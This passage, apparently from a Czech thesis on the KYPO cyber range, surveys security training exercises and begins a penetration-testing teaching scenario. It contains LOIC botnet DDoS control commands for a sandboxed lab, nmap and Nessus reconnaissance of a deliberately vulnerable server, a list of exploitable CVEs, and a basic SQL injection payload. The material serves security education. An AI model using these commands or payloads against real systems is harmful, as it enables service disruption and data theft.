Cíle útoku˚ Vnitˇrní sítˇe na obou stranách, vojenské sítˇe a sítˇe humanitárních organizací obsahovaly dva systémy Windows XP, dva Windows 7 a jeden Ubuntu Linux. Z toho plyne, že sítˇe jsou velmi malé ve srovnání s reálným svˇetem, kdy velké organizace mají tisíce poˇcítaˇcu˚ v doménˇe. Software byl cˇ asto zastaralý a obsahoval zranitelnosti. Typické podezˇrelé aplikace byly Java, Adobe Flash a Internet Explorer. Souborové servery (files.int.aidX.ex, files.int.milX.ex) obsahovaly zranitelnosti. V aplikacích, které nebyly požadované, byly také 20
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
typické problémy, jako jsou administrativní uživatelské úˇcty se slabými hesly. Napˇr.: FreeFloat FTP Server (OSVDB-88303), Oracle MySQL for Microsoft Windows (CVE-2012-5613), Sielco Sistemi Winlog (CVE-2012-3815), Sysax 5.53 SSH (OSVDB-79689). Metody útoku Metoda testování schopností modrého týmu byla provedena pomocí využití agenta z bílého týmu, jehož úkolem bylo klikat na odkazy pro otevˇrení škodlivých webových stránek, dokumentu˚ nebo dokonce i spouštˇet soubory. Napˇríklad otevˇrení odkazu, který se pokusil o zneužití zranitelnosti v softwaru Java (CVE-2012-5076, CVE-2013-0422), Adobe Flash Player (CVE-2012-1535) , Safari s Quicktime (CVE-2012-3753), Internet Explorer (CVE-20121889) a MS Office 2010 (CVE-2012-0013). V nˇekterých pˇrípadech byl využit a automaticky vybrán nejlepší exploit ze serveru Cobalt Strike. Obecnˇe platilo, že vybírání nebylo tˇreba, protože cˇ ervený tým mohl jednoduše požádat agenta, aby otevˇrel odkaz nebo soubor s konkrétním softwarem. Typicky používané a užiteˇcné nástroje jsou Cobalt Strike Beacon, Metasploit a DarkComet RAT. Pˇrirozený postup pro získání pˇrístupu k systémum ˚ Windows na uživatelské úrovni je eskalovat oprávnˇení a výpis hashe hesel. Aˇckoli zisk hesel v zašifrované podobˇe (PTH, anglicky Pass the Hash) je dobˇre známý trik mnoho let, zmírnˇení není jednoduché, a proto cˇ asto ještˇe funguje. Na závˇer je nutné rˇ íci, že cˇ ervený tým byl složen z ad-hoc dobrovolníku, ˚ od kterých nelze oˇcekávat pˇredchozí pˇríprava a procviˇcení pˇripravovaných útoku. ˚ Pro další roˇcníky je ˇ plánované sestavit lépe vyškolený tým pro navýšení obtížnosti pro modré týmy. Clenové musí mít povˇedomí o znalostech a dovednostech ostatních spolupracovníku. ˚
4.4
Netwars
NetWars je praktické, bezpeˇcné a interaktivní vzdˇelávací prostˇredí, které umožnuje ˇ profesionálum, ˚ zabývajícím se informaˇcní bezpeˇcností, rozvíjet a zlepšovat své dovednosti [43]. Provozovatelem NetWars je institut SANS [44]. NetWars je sbírka bezpeˇcnostních problému, ˚ které mohou nastat v reálném svˇetˇe. Každý hráˇc, který se hry zúˇcastní, muže ˚ jít svou vlastní cestou k vyˇrešení problému. Tato cesta závisí na individuálních a technických dovednostech, na hráˇcových schopnostech a tvoˇrivosti. NetWars je navržen tak, aby úˇcastníkum ˚ pomohl rozvíjet své dovednosti v nˇekolika kritických oblastech: • • • • • •
posouzení zranitelnosti, analýza škodlivého softwaru, forenzní analýza, odpovˇed’ na incident, analýza paketu, ˚ penetraˇcní testování.
NetWars má celkem šest úrovní, které jsou dostupné samostatnˇe nebo po dvojicích. Hráˇci jsou za své úspˇechy obodováni. Úrovenˇ jedna a dvˇe se hraje na virtuálním operaˇcním systému, jenž je k dispozici. Úˇcastníci odpovídají na otázky prostˇrednictvím on-line bodovacího systému založeného na zajetí vlajky nalezené v zranitelném operaˇcním systému. Hráˇc využívá bezpeˇcnostní chyby a analyzuje záznamy pro dosažení výsledku. Když hráˇc nashromáždil dostatek bodu˚ v úrovních jedna a dvˇe, je mu automaticky zpˇrístupnˇena úrovenˇ 21
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
tˇri, která se hraje pˇres internet. Na úrovni tˇri hráˇci provádˇejí posouzení zranitelnosti a penetraˇcní testy demilitarizované zóny. Využívá se napˇríklad program Metasploit. Na úrovni cˇ tyˇri hráˇci provádˇejí penetraˇcní testování interní sítˇe, které vychází z úrovnˇe tˇri z demilitarizované zóny do vnitˇrní sítˇe organizace. Náplní páté úrovnˇe je bitva mezi nejvíce pokroˇcilými hráˇci, jimž je pˇridˇelen „hrad“ uvnitˇr vnitˇrní sítˇe. Hráˇci jsou vyzváni, aby napadli hrady ostatních hráˇcu˚ v infrastruktuˇre NetWars. NetWars je navržen tak, aby hra byla pˇrístupná pro široký rozsah úrovní hráˇcských dovedností, rozdˇeleny do ruzných ˚ úrovní. Výzva poskytuje dukladné ˚ scénáˇre tak, aby úˇcastníci prokázali své schopnosti. Hráˇci mohou rychle postupovat z nižších úrovní na úrovenˇ jejich odborných znalostí, kde stráví vˇetší množství svého cˇ asu. NetWars je nabízen ve dvou variantách: •
•
4.5
Turnajová hra: jednodenní nebo vícedenní intenzivní trénink dovedností a školení uˇcící hráˇce synchronizovanˇe postupovat s ostatními úˇcastníky v turnaji. Turnajová hra obsahuje aktuální umístˇení. Turnaj se v souˇcasné dobˇe hraje v uˇcebnˇe a SANS pˇridává možnost úˇcastníkum ˚ hrát na dálku. Hra je užiteˇcná pro posouzení úrovnˇe dovedností a schopnosti uˇcit se za pochodu. Nepˇretržité hraní: umožnuje ˇ hráˇcum ˚ cˇ tyˇri mˇesíce pˇrístupu ke vzdˇelávacímu prostˇredí. Bˇehem celé hry se mˇerˇ í hráˇcovy dovednosti. Tato varianta umožnuje ˇ hrát vlastním tempem. Hráˇc nesoutˇeží s ostatními hráˇci jako v turnajové hˇre.
Ruxcon 2012 Capture the Flag
Hra zajmi vlajku (CTF, anglicky Capture the flag) probˇehla v Austrálii v Melbourne na pˇrední technické poˇcítaˇcové bezpeˇcnostní konferenci Ruxcon [45]. Hru si lze procviˇcovat doma ve svém vlastním volném cˇ ase díky tomu, že autoˇri scénáˇre poskytli virtuální operaˇcní systémy a návody pro vyzkoušení, jak vyˇrešit zadané problémy [46]. Hra se skládá z rˇ ady úrovní s ruzným ˚ stupnˇem obtížnosti v rozmezí od jednoduché až po stˇrednˇe tˇežkou. Hru lze hrát bud’ za tým, nebo jako jednotlivý hráˇc. CTF je v podstatˇe bezdrátová sít’, do které se úˇcastník pˇripojí s cílem nalézt problémy, které jsou umístˇeny na síti. Hra zajmi vlajku je navržena tak, aby byla co nejvíce zábavná, aby ji mohl hrát témˇerˇ kdokoliv a nevyžadovala velké úsilí. Organizátoˇri poskytují správné rˇ ešení, jakmile je soutˇež u konce. Hráˇc se zabývá rˇ adu problému˚ ruzné ˚ obtížnosti, které muže ˚ rˇ ešit v libovolném poˇradí. Problémy, které se ve hˇre vyskytují, jsou napˇr.: SQL injekce, reverzní inženýrství, sít’ové útoky, základní exploitaˇcní techniky a mnoho dalších problému˚ k rˇ ešení. Za každý splnˇený problém dostane hráˇc žeton. Všechny jsou za stejný poˇcet bodu, ˚ ale jeho bodová hodnota se na konci vydˇelí poˇctem hráˇcu, ˚ kteˇrí problém vyˇrešili. Pokud bude hráˇc rˇ ešit problémy ve správném poˇradí, dostanete bonusové body. Hráˇc nebo tým s nejvyšším poˇctem bodu˚ bude na konci soutˇeže vyhlášen za vítˇeze. Pro ty, kteˇrí by chtˇeli tuto hru zaˇcít hrát, staˇcí pro zaˇcátek, aby si nainstalovali software Backtrack a Metasploit. CTF je v podstatˇe bezdrátová sít’, do níž se úˇcastník pˇripojí s cílem nalézt problémy, které jsou umístˇeny na síti.
4.6
Kybernetický polygon
Aby bylo možné cˇ elit souˇcasným kybernetickým hrozbám, je velmi duležité ˚ neustále rozvíjet techniky a metody pro detekci a prevenci proti útokum ˚ [47]. Jelikož útoˇcníci obvykle neodhalují detaily o jejich provedení útoku, je nutné jim porozumˇet a rozvíjet mecha22
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
nismy pro zjištˇení jejich podstaty. Projekt Kybernetického polygonu (KYPO) se snaží rˇ ešit tuto problematiku pomocí simulace útoku˚ v uzavˇreném prostˇredí (sandboxu) umožnující ˇ realizaci hrozeb a také jejich monitorování a zpracování. Tento projekt vzniká na Masarykovˇe univerzitˇe za spolupráce s Národním bezpeˇcnostním úˇradem, resortem Ministerstva vnitra a bezpeˇcnostních týmu˚ (vládní CERT a národní CSIRT). Projekt má za cíl napomáhat ˇ tˇemto týmum ˚ v zajištˇení kybernetické bezpeˇcnosti v Ceské republice. Navržené rˇ ešení je postaveno na cloudové infrastruktuˇre, která umožnuje ˇ snadné nasazení virtuálních stroju˚ a je schopná rychle reagovat na jejich konfiguraci a požadavky ohlednˇe poˇctu stroju˚ a jejich výkonu. V tomto prostˇredí je dovoleno nasadit libovolný poˇcet virtuálních stoju. ˚ Pro monitorování v kybernetickém polygonu je nasazeno mnoho sond, které umožnují ˇ jak monitorovat výkon na virtuálních strojích, tak i sít’ový provoz. 4.6.1 Scénáˇr útoku distribuovaného odepˇrení služby V roce 2013 byl vytvoˇren scénáˇr [48] reagující na skuteˇcný útok distribuovaného odepˇrení služeb (DDoS) na webové zpravodajské servery z roku 2013. Útok byl proveden pomocí zahlcení HTTP požadavky, které vyˇcerpaly všechny zdroje webového serveru. Pro scénáˇr byl využit nástroj Low Orbit Ion Cannon (LOIC) v Hive Mind módu, který vyˇcerpává zdroje webového serveru otevˇrením mnoha TCP spojení a odesláním neúplných HTTP požadavku. ˚ Logická topologie Logická topologie zobrazená na obrázku4.3 byla rozdˇelena na dvˇe sítˇe (vnitˇrní a vnˇejší). Do vnitˇrní sítˇe byl pˇripojen cíl útoku a bˇežný uživatel. Jako obˇet’ byl urˇcen linuxový operaˇcní systém, na kterém byl spuštˇen Apache server ve verzi 2.2.16. Bˇežný uživatel pˇredstavoval obvyklí sít’ový provoz, jenž byl zachycen za bˇežného provozu pomocí záznamu IPFIX. Sít’ byla propojena s vnˇejší sítí pomocí jednoho smˇerovaˇce.
Vnitřní síť
Útočník
IRC server
Řídicí a
monitorovací centrum
Vnější síť Běžný provoz Útok IRC komunikace
Běžný uživatel Cíl útoku
NetFlow
Obrázek 4.3: Logická topologie scénáˇre [47]
23
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
Vnˇejší sít’, z které pˇricházel útok, byla složena ze tˇrí typu˚ uzlu˚ a z generátoru sít’ového provozu. První typ pˇredstavoval Master neboli útoˇcník, který využil linuxového operaˇcního systému a aplikace IRSSI sloužící pro pˇripojení k IRC serveru a ovládání botu. ˚ Další typ pˇredstavuje IRC server sloužící ke komunikaci a organizaci botu. ˚ Na tomto uzlu bˇežel také linuxový operaˇcní systém a aplikace IRCD-hybrid pˇredstavující IRC server. Posledním typem uzlu byl již zminovaný ˇ bot, z kterého pˇricházel útok na Apache server. Botu˚ bylo v síti více a byly rozdˇeleny do nˇekolika podsítí, aby bylo tˇežší nalézt, odkud útok pˇrichází. Na tˇechto uzlech byl operaˇcní systém Windows 7 a nástroj LOIC. Realizace útoku Nejdˇríve bylo nutné spustit a nakonfigurovat všechny uzly. Poté byly spuštˇeny útoˇcící uzly, které se automaticky pˇripojily do LOIC místnosti na IRC serveru. Master uzel sloužil pro nastavení parametru˚ útoˇcícím uzlum ˚ pomocí IRC klienta, nebo pro spouštˇení a zastavování útoku. Pˇripojení útoˇcníka (Master uzlu) bylo uskuteˇcnˇeno díky aplikaci IRSSI a pˇríkazu: # irssi -c 10.19.1.2 -n wolf -p 6668 -w wolf
Administrátor místnosti musí zadat následující pˇríkazy pro získaní práv a pro pˇripojení do místnosti LOIC: ] /oper wolf wolf ] /join #loic
Nástroj LOIC byl nakonfigurován pomocí pˇríkazu: ] !kypo targetip=10.19.2.2 method=http port=80 timeout=80 subsite=/test/index.html threads=200 wait=false random=false speed=90
Pˇríkaz pro odstartování a zastavení útoku: ] !kypo start ] !kypo stop
Monitorování útoku Pˇri monitorování útoku pomocí sít’ových toku˚ bylo zjištˇeno, že se zvýšil jejich poˇcet vzhledem k jednotlivým IP adresám, velikost tˇechto toku˚ byla velmi podobná. Byl zaznamenán zvýšený poˇcet HTTP chybných požadavku˚ se stavovým kódem 400 a ménˇe požadavku˚ s úspˇešným stavovým požadavkem 200. Bylo otevˇreno mnoho TCP spojení, která nebyla ukonˇcena. Na serveru se zaˇcal zvyšovat nárok na výpoˇcetní výkon. Scénáˇr slouží jako podklad pro vznik poˇcáteˇcního nastavení a mˇel by vést k lepšímu porozumˇení testovacího prostˇredí. Projekt Kybernetického polygonu je flexibilní a je možné ho v budoucnu rozšiˇrovat o nové metody a mechanizmy.
24
Kapitola 5
Bezpeˇcnostní scénáˇr pro Kybernetický polygon Hlavní cílem diplomové práce bylo vytvoˇrit výukový scénáˇr pro penetraˇcní testování, který by sloužil pro zdokonalení dovedností testera a procviˇcení nabytých teoretických znalostí na praktických ukázkách. Cviˇcení jsou implementována v uzavˇreném prostˇredí Kybernetického polygonu. Než bude popsán scénáˇr cviˇcení, je nutné se nejprve seznámit s aktuální situací v Kybernetickém polygonu a realizací vlastní architektury scénáˇre. Aktuální stav Kybernetického polygonu Aktuální stav Kybernetického polygonu se nachází ve fázi rozpracování. Je tˇreba zohlednit aktuální stav vývoje, a proto zatím nejsou k dispozici nˇekteré vlastnosti, jež budou implementovány do prostˇredí Kybernetického polygonu dodateˇcnˇe. Jednou z nich je nemožnost využití grafického rozhraní pro pˇrístup k systémum, ˚ cˇ ímž se zvyšují nároky na znalosti operaˇcního systému Linux. Nˇekteré distribuce a služby se nepodaˇrilo zprovoznit, a tak bylo nutné pˇrehodnotit vlastní scénáˇr. Pˇri pˇrípravˇe jednotlivých operaˇcních systému˚ bylo nutné zohlednit jejich velikost pro rychlejší zavádˇení systému. Architektura scénáˇre Architektura scénáˇre se skládá z nˇekolika komponent zobrazených na obrázku 5.1. Hlavními prvky architektury jsou zranitelný testovací stroj a webový server.
Tester
Putty
Řídicí centrum scénáře SMN
[email protected]
ssh 172.16.1.2
Pentest PC Kali
ssh 10.10.1.4
Uzel řízení sítě LMN
ssh 10.10.1.2
Web server (zranitelný)
Obrázek 5.1: Architektura scénáˇre Testovací stroj je nasazen se speciálním operaˇcním systémem pro penetraˇcní testování Kali, jehož základem je systém Debian. Uživatel pˇri praktickém využití sandboxu má pˇrístup pouze k tomuto stroji. Zárovenˇ jeho cílem je zjistit a vyzkoušet zranitelnosti webového 25
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
serveru obsahující zámˇernˇe vytvoˇrené chyby pro zneužití systému. Testovací stroj zahrnuje programy sloužící k testování zranitelných systému: ˚ • • • • •
Nmap, John the Ripp, Nessus, SQLMap, Metasploit.
Na webovém serveru je nainstalovaný operaˇcní systém Debian, jehož verze je 7.4. Dále obsahuje základní služby pro potˇreby penetraˇcního testování, mezi nˇež patˇrí PHP 5.3.3, Apache 2.2.16, MySQL 5.5.35, SSH 6.0 a další moduly. Operaˇcní systém byl doplnˇen o Samba server 3.0.20 pro vzdálený pˇrístup a sdílení souboru. ˚ Komunikace služeb je znázornˇena na obrázku 5.2.
Operační systém Samba server
Sdílené soubory
MySQL databáze
Webový server
PHP interpreter
Uložené PHP stránky
Obrázek 5.2: Zranitelný webový server
Dalšími prvky architektury jsou virtuální stroje SMN (System Management Node) a LMN (LAN Management Node). SMN slouží pro pˇrístup do Kybernetického polygonu a je možné s jeho pomocí rˇ ídit probíhající scénáˇr nebo definovat pˇredem stanovené aktivity. LMN se využívá pro realizaci virtuální sítˇe a správu sítˇe. V diplomové práci byla zvolena pouze jedna sít’ z duvodu ˚ pˇripojení pouze dvou stroju. ˚ Pokud by byly pˇridány další zranitelné stroje, bylo by možné díky LMN rozdˇelit sít’ do nˇekolika podsítí. Sít’ový provoz prochází vždy pˇres uzel pro správu sítˇe a umožnuje ˇ monitorovat a smˇerovat toky dat. Pˇripojení do Kybernetického polygonu Pˇripojení k jednotlivým uzlum ˚ Kybernetického polygonu je realizováno pomocí SSH služby. Každý uživatel, který bude chtít využívat penetraˇcní scénáˇr, musí mít vygenerovaný vlastní SSH klíˇc, jímž se ovˇerˇ uje pˇrístup k sandboxu. Pˇripojení je možné realizovat napˇríklad pomocí programu PuTTY, vložením platné veˇrejné adresy SMN uzlu. Pˇrihlášení požaduje zadání vlastního hesla k vygenerovanému klíˇci. Po pˇrihlášení k SMN je nutné zadat pˇríkaz pro pˇripojení k uzlu pro správu sítˇe: root@smn:~# ssh 172.16.1.2
Na závˇer je nutné využít pˇríkaz pro pˇripojení k testovacímu stroji Kali a jeho pˇrihlašovací jméno a heslo. 26
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
root@lmn1:~# ssh 10.10.1.4
5.1
Výukový scénáˇr
Výukový scénáˇr se zabývá základními skupinami, na kterých lze efektivnˇe ukázat hlavní princip penetraˇcního testování. Skupiny byly vybrány, aby pokryly základní vˇedomosti, které by si mˇel každý zaˇcínající penetraˇcní tester osvojit pro zdokonalení svých dovedností v dané problematice. Pro cviˇcení je pˇredpokládaná základní informatická znalost a elementární znalost operaˇcního systému Linux, jež by mˇel mít uživatel po ukonˇcení bakaláˇrského studia. Požadované znalosti jsou vždy uvedeny pˇred zapoˇcetím každého scénáˇre. Následnˇe je tester uveden do problematiky konkrétního scénáˇre. Na závˇer jsou uvedeny praktické pˇríklady a postup rˇ ešení prubˇ ˚ ehu scénáˇre. Scénáˇr penetraˇcního testování byl rozdˇelen do pˇeti variant a každá z nich muže ˚ mít nˇekolik úkolu˚ vztahujících se k problematice dané varianty. Základní cˇ lenˇení scénáˇre je uvedeno v tabulce 5.1. Název varianty 1. Pruzkum ˚ zranitelného systému
2. Zranitelnost na SQL injekci 3. Zranitelnost na XSS 4. Zranitelnost služby PHP 5. Zranitelnost služby Samba
Úkol cviˇcení Identifikace topologie Skenování portu˚ Vyhledání zranitelností Identifikace zranitelností SQL injekce a pˇredání parametru metodou POST Použití nástroje SQLMap a metody GET Procviˇcení perzistentního XSS Procviˇcení neperzistentního XSS Navázání spojení s webovým serverem Použití a úprava existujícího exploitu Získání práv uživatele root Získání hashe hesel Prolomení hesel
Tabulka 5.1: Rozložení penetraˇcní testování
5.2
Pruzkum ˚ zranitelného operaˇcního systému
5.2.1 Identifikace topologie Na zaˇcátku penetraˇcního testování je nutné získat informace o zkoumaném prostˇredí, jež vedou k získání všeobecného pˇrehledu o architektuˇre a prubˇ ˚ ehu testování. Student by mˇel mít pro absolvování cviˇcení vstupní znalosti: • • •
základní zkušenosti s linuxovou konzolí, pokroˇcilé znalosti poˇcítaˇcových sítí, schopnost porozumˇet technickým zprávám v anglickém jazyce.
Po pˇripojení na testovací stroj Kali je nutné provést pruzkum ˚ využitých IP adres. Pomocí základního pˇríkazu ifconfig získáme informaci o pˇridˇelené adrese: 27
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
# ifconfig eth2
Link encap:Ethernet HWaddr 02:00:0a:13:01:04 inet addr:10.10.1.4 Bcast:10.10.1.255 Mask:255.255.255.0 inet6 addr: fe80::aff:fe13:104/64 Scope:Link
Pˇridˇelená adresa 10.10.1.4 a maska sítˇe zužuje rozsah, který je nutné prozkoumat, zda se v nˇem nacházejí aktivní stroje. Nástroj nmap se využívá pro získání informací o aktivních zarˇ ízeních v lokální síti. Pomocí pˇríkazu nmap -sP 10.10.1.0/24 jsou vypsána dostupná zaˇrízení v síti. Pˇríkaz nalézá další adresu 10.10.1.2: # nmap -sP 10.10.0.0/24 Nmap scan report for 10.10.1.2 Host is up (0.0014s latency). MAC Address: 02:00:0A:13:01:02 (Unknown)
Pˇrí pruzkumu ˚ neznámé sítˇe je obvykle využíván nástroj nslookup, který umí zjistit tvar IP adresy lokálního DNS serveru nebo zobrazit reverzní záznamy DNS neboli zpˇetné záznamy urˇcující, kde byla pˇrevedena IP adresa na název domény. Pˇri pruzkumu ˚ sítˇe však nebyl získán žádný záznam, jelikož nebyla pˇridána sít’ová cesta mimo privátní sít’. Nyní, když jsou zjištˇeny základní IP adresy, je možné pomocí nástroje traceroute vytvoˇrit odhad topologie sítˇe. Pˇríkaz traceroute 10.10.1.2 udává pˇrímé propojení webového serveru a testovacího stroje Kali: # traceroute 10.10.1.2 traceroute to 10.10.1.2 (10.10.1.2), 30 hops max, 60 byte packets 1 10.10.1.2 (10.10.1.2) 2.637 ms 2.539 ms 2.461 ms
Traceroute je možné využít pro získání informací o adresách smˇerovacích prvku˚ spojujících lokální sít’ s internetem. Scénáˇr je ale nasazen v uzavˇreném prostˇredí, a proto dotaz na adresy mimo lokální sít’ není úspˇešný. Jelikož je scénáˇr sestaven pouze z jednoho testovacího stroje a jednoho zranitelného serveru, je jednoduché si pˇredstavit topologii sítˇe, jež je zobrazena na obrázku 5.3. Pentest PC Kali
Web server (zranitelný)
Obrázek 5.3: Topologie scénáˇre
Program whois je možné použít pro získání informací o majitelích internetových domén a IP adres. Pomocí pˇríkazu whois 147.251.252.0 lze získat informace o pˇridˇeleném rozsahu Masarykovy univerzity a adresa s kontaktem na správce sítˇe. 5.2.2 Skenování portu˚ Další fáze zahrnuje odhad operaˇcních systému˚ a spuštˇených služeb. Znalosti lze získat díky programu Nmap, který užívá techniku skenování portu. ˚ Princip spoˇcívá v zasílání paketu˚ s ruznými ˚ pˇríznaky na testovaný systém. Podle jeho odpovˇedi se získá údaj o aktivitˇe nebo neaktivitˇe služby. Rozsáhlé informace je možné zjistit pomocí pˇríkazu nmap -p 28
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
1-65535 -A -v 10.10.1.2, jenž detekuje operaˇcní systém Linux, službu Samba 3.0.20 a otevˇrené porty. Zkrácený výpis obsahuje nejduležitˇ ˚ ejší informace o verzích služeb: # nmap -sV 10.10.1.2 Starting Nmap 6.45 ( http://nmap.org ) at 2014-05-01 17:46 CEST Nmap scan report for 10.10.1.2 Host is up (0.0012s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4 (protocol 2.0) 80/tcp open http Apache httpd 2.2.16 ((Debian)) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) MAC Address: 02:00:0A:13:01:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
5.2.3 Vyhledání zranitelností Jakmile jsou urˇceny služby bˇežící na webovém serveru, je nutné identifikovat zranitelnosti pˇríznaˇcné pro dané verze spuštˇených služeb. Na testovacím stroji je nainstalován nástroj Nessus, jenž je schopen nejen urˇcit zranitelnost, ale obsahuje i informace o jejím využití a o možnostech odstranˇení slabiny. Nessus je možné spustit pˇríkazem: # /opt/nessus/bin/nessuscmd -V -i all 10.10.1.2 > result.txt
Pˇríkaz zpusobí ˚ vygenerování podrobného výpisu informací o zranitelném serveru do textového souboru, v nˇemž je možné získat bližší podrobnosti o spuštˇených službách a operaˇcním systému: | The remote operating system matched the following CPE : | cpe:/o:debian:debian_linux:7.0 -> Debian Linux 7.0 | Following application CPE's matched on the remote system : | cpe:/a:php:php:5.3.3 -> PHP 5.3.3 | cpe:/a:openbsd:openssh:6.0 -> OpenBSD OpenSSH 6.0 | cpe:/a:samba:samba:3.0.20 -> Samba 3.0.20 | cpe:/a:apache:http_server:2.2.16 -> Apache Software Foundation | Apache HTTP Server 2.2.16
Pˇri pruzkumu ˚ rozsáhlého textového souboru je vhodné vyhledávat záchytné body, napˇríklad "execute code", "CVE", "exploit", "CVSS Base Score" nebo "risk factor". Soubor obsahuje nˇekolik zranitelností identifikovaných standardizaˇcním systémem Common Vulnerabilities and Exposures (CVE) a u tˇrech z nich je dostupný veˇrejný exploit. První CVE-2007-2446 popisuje zranitelnost služby Samba. Verze Samba serveru, nainstalována na vzdáleném poˇcítaˇci je zranitelná díky nˇekolikanásobnému pˇreteˇcení haldy, které lze zneužít a vzdálenˇe spustit kód s oprávnˇením Samba démona. Zranitelnosti CVE-1999-0519 a CVE-1999-0520 dovolují nastavit sdílení souboru˚ v síti na strojích s operaˇcním systémem Windows. V závislosti na sdílených právech muže ˚ útoˇcníkovi umožnit cˇ tení nebo zápis duvˇ ˚ erných dat. Další nalezené CVE-1999-0524 dovoluje vymezení pˇresného cˇ asu nastaveného na vzdáleném poˇcítaˇci. Vzdálený hostitel odpoví na žádost ICMP timestamp. To umožnuje ˇ útoˇcníkovi urˇcit datum nastavené na cílovém stroji a tím i získat možnost zneužít cˇ asovˇe založené autentizaˇcní protokoly. 29
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
Poslední CVE-2008-5161 poukazuje na SSH server, který je nakonfigurován pro použití šifrování Cipher Block Chaining (CBC), jež poskytuje útoˇcníkovi získání textové zprávy z šifrovaného textu. Plugin kontroluje pouze nastavení SSH serveru, ale nekontroluje verzi softwaru. Duležitou ˚ získanou informací je nainstalovaná služba PHP 5.3.3-7+squeeze8, u níž je možné dohledat informace o zranitelných místech, která by byla možná využít pro demonstraci zneužití služby. 5.2.4 Identifikace zranitelností Nabytá data z automatizovaného vyhledávání zranitelnosti je vhodné využít pˇri dohledávání podrobnˇejších informací, které by sloužily k dosažení všeobecného pˇrehledu o daném problému. Informace zahrnují napˇríklad údaje o složitosti, zpusobu ˚ provedení a cˇ asové nároˇcnosti využití slabiny systému. Základním zdrojem informací a odkazu˚ na zdroje zabývající se danou problematikou je CVE. U zranitelnosti CVE-2008-5161 doplnuje ˇ textový soubor o údaje uvádˇející zranitelné verze softwaru a mnoho doplnujících ˇ odkazu, ˚ napˇríklad vyjádˇrení výrobce na objevenou chybu [49]. Obvyklým odkazem je i elektronický mailový list Securityfocus (Bugtraq) vˇenovaný diskusi o zabezpeˇcení softwaru, který u zmínˇené zranitelnosti doporuˇcuje pˇrejít na verzi OpenSSH 5.2. Údaje o složitosti a cˇ asové nároˇcnosti je možné získat díky standardu CVSS hodnotící zranitelnosti. CVSS identifikuje úrovenˇ zranitelnosti jako nízkou a je ohodnocena cˇ íslem 2.6 z 10. Dalšími identifikovanými body jsou: • • • •
pˇrístupový vektor – sít’ovˇe zneužitelná zranitelnost, pˇrístupová složitost – vysoká, ovˇerˇ ování – není nutné využít, dopad – umožnuje ˇ neoprávnˇené vyzrazení informací.
Užiteˇcná stránka pro vyhledávání zranitelností je http://www.cvedetails.com/ shrnující podrobnosti z ostatních databází zranitelností a umožnuje ˇ jednoduché vyhledávání zranitelností u jednotlivých verzí služeb. Pˇríkladem muže ˚ být služba PHP 5.3.3 nainstalovaná na webovém serveru, jež mimo jiné obsahuje zranitelnost CVE-2012-1823. Mezi duležité ˚ údaje patˇrí možnost využití zranitelnosti pomocí nástroje Metasploit. Pokud je známá verze služby, u které je zveˇrejnˇen exploit, je obvykle možné získat kód na http://www.exploit-db.com/. U PHP zranitelnosti CVE-2012-1823 jsou dostupné cˇ tyˇri exploity. První dvojice z nich využívá vzdálené spuštˇení kódu a vykonání exploitu a druhá zneužívá nastavení PHP CGI k provedení exploitu pomocí injekce parametru. ˚
5.3
Zranitelnost na SQL injekci
Varianta scénáˇre zahrnuje vysvˇetlení základu˚ SQL injekce a její využití v penetraˇcním testování, na kterou navazují praktická cviˇcení. První úkol procviˇcující kýženou problematiku využívá pˇredávání parametru˚ pomocí metody POST protokolu HTTP. Další pˇríklad je proveden pˇredáváním parametru˚ díky metodˇe GET a programu SQLMap pro získání informací z tabulek. Student by mˇel mít pro absolvování cviˇcení vstupní znalosti: • • • •
základní zkušenosti s linuxovou konzolí, pokroˇcilé znalosti SQL dotazu, ˚ základní znalosti PHP a HTML, pˇrípadnˇe znalost nástroje cURL. 30
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
SQL injekce je technika využívající neošetˇrené vstupy k napadení databázové vrstvy aplikace. Pomocí této chyby získává útoˇcník možnost manipulovat s uloženými daty a zneužít novˇe nabyté citlivé informace, napˇr. pˇrihlašovací údaje, osobní údaje nebo jiná data uložená v databázi [50]. Aplikace obvykle využívají dotazy pro získání dat z databáze SQL a je relativnˇe snadné, pokud pˇri vytváˇrení kódu nebyly ošetˇreny vstupy, rozšíˇrit dotaz o škodlivý kód, který muže ˚ mít za následek zisk osobních dat, k nimž nemá mít legitimní uživatel pˇrístup, v horším pˇrípadˇe data smazat, nebo dokonce získat pˇrístup k serveru s databází. Neošetˇrené vstupy se vyznaˇcují špatným nebo žádným filtrováním rˇ ídicích znaku. ˚ V MySQL databázi patˇrí mezi tyto znaky jednoduché a dvojité apostrofy [51]. Lze použít dotaz pro získání veškerých údaju˚ o uživateli, který má shodný email a datum narození se zadanými hodnotami: SELECT * FROM users WHERE email = '
[email protected]' AND birth = '1980'
Vložená hodnota emailu a rok narození jsou uzavˇrené mezi jednoduché apostrofy. Nyní je nutné si uvˇedomit, že pokud místo emailu zadáme jednoduchý apostrof, ukonˇcíme hodnotu emailu a mužeme ˚ zadat logický operátor OR, který vždy nabývá hodnoty jedna. Na závˇer dotazu je nutné využit znak pro MySQL komentáˇr vypouštˇející zbytek dotazu a jednoduchý apostrof pro ukonˇcení výrazu. Výsledný dotaz nyní vypíše všechny hodnoty, které odpovídají prázdnému záznamu nebo záznamu, jenž je vždy pravdivý. Výslednému dotazu vyhovují všechny hodnoty v tabulce a jeho podoba vypadá následovnˇe: SELECT * FROM users WHERE email = '' OR 1=1 --'
